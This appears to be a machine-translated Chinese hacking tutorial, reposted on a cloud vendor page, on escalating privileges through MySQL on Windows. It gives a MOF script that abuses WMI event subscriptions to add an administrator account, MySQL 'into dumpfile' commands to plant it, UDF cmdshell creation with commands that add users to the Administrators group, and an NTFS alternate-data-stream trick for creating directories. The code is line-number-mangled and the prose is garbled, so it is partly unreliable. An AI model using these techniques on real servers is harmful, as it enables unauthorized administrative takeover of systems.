Summary of MySQL right to withdraw

Source: Internet
Author: User
Tags mysql version

1.MOF right to lift

Simply put, MOF is a program within the system, and every time the system is executed with root authority, we replace it and execute our attack code. This is referred to as the MOF right.

Here's the script:

1#pragmanamespace("\\\\.\\root\\subscription") 2 3Instance of__EventFilter as$EventFilter4 { 5Eventnamespace ="root\\cimv2"; 6Name ="filtP2"; 7Query ="Select * from __InstanceModificationEvent" 8             "Where targetinstance Isa \"Win32_localtime\" " 9             "and Targetinstance.second = 5"; TenQueryLanguage ="WQL";  One };  A  -Instance ofActivescripteventconsumer as$Consumer - {  theName ="consPCSV2";  -Scriptingengine ="JScript";  -ScriptText = -     "var WSH = new ActiveXObject (\"\") \ (\"Net.exe user admin admin/add\")";  + };  -  +Instance of__filtertoconsumerbinding A {  atConsumer =$Consumer; -     Filter=$EventFilter; -};

Save As A.mof then find a writable directory to upload a.mof, using MySQL execution: select Load_file (' D:\wamp\a.mof ') into DumpFile ' c:/windows/system32/wbem/mof/ Nullevt.mof ';

To be able to claim success. PS: Add the account password in the script.

2.UDF right to lift


You need to judge the version first. And you need to add a slash when you export the DLL.

MySQL version < 5.2, UDF export to system directory c:/windows/system32/

MySQL version > 5.2, UDF Export to installation path mysql\lib\plugin\ generally is greater than 5.2, and the [Plugin] directory does not exist by default. Can be created by a chopper, if not possible through the 0x03 NTFS stream.


Create a Cmdshell function

Create function Cmdshell returns string Soname ' Udf.dll ';

Select Cmdshell (' Net user Waitalone ');

Select Cmdshell (' net localgroup Administrators Waitalone/add ');

Drop function Cmdshell; Delete a function

Delete from Mysql.func where name= ' Cmdshell ' remove function


By default, you will encounter can ' t Open Shared Library is a folder problem, you need to create a first-mentioned folder, you can directly new kitchen knives, if not, you can create through NTFS.

Find the directory for MySQL: select @ @basedir;

Create lib directory with NTFS ads: Select ' It is dll ' into DumpFile ' c:\\program Files\\mysql\\mysql Server 5.1\\lib:: $INDEX _allocation ';

Create plugin directory with NTFS ads: Select ' It is dll ' into DumpFile ' c:\\program Files\\mysql\\mysql Server 5.1\\lib\\plugin:: $INDEX _ ALLOCATION ';

Then, after exporting, the function is then created to execute the CMD.

Summary of MySQL right to withdraw

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.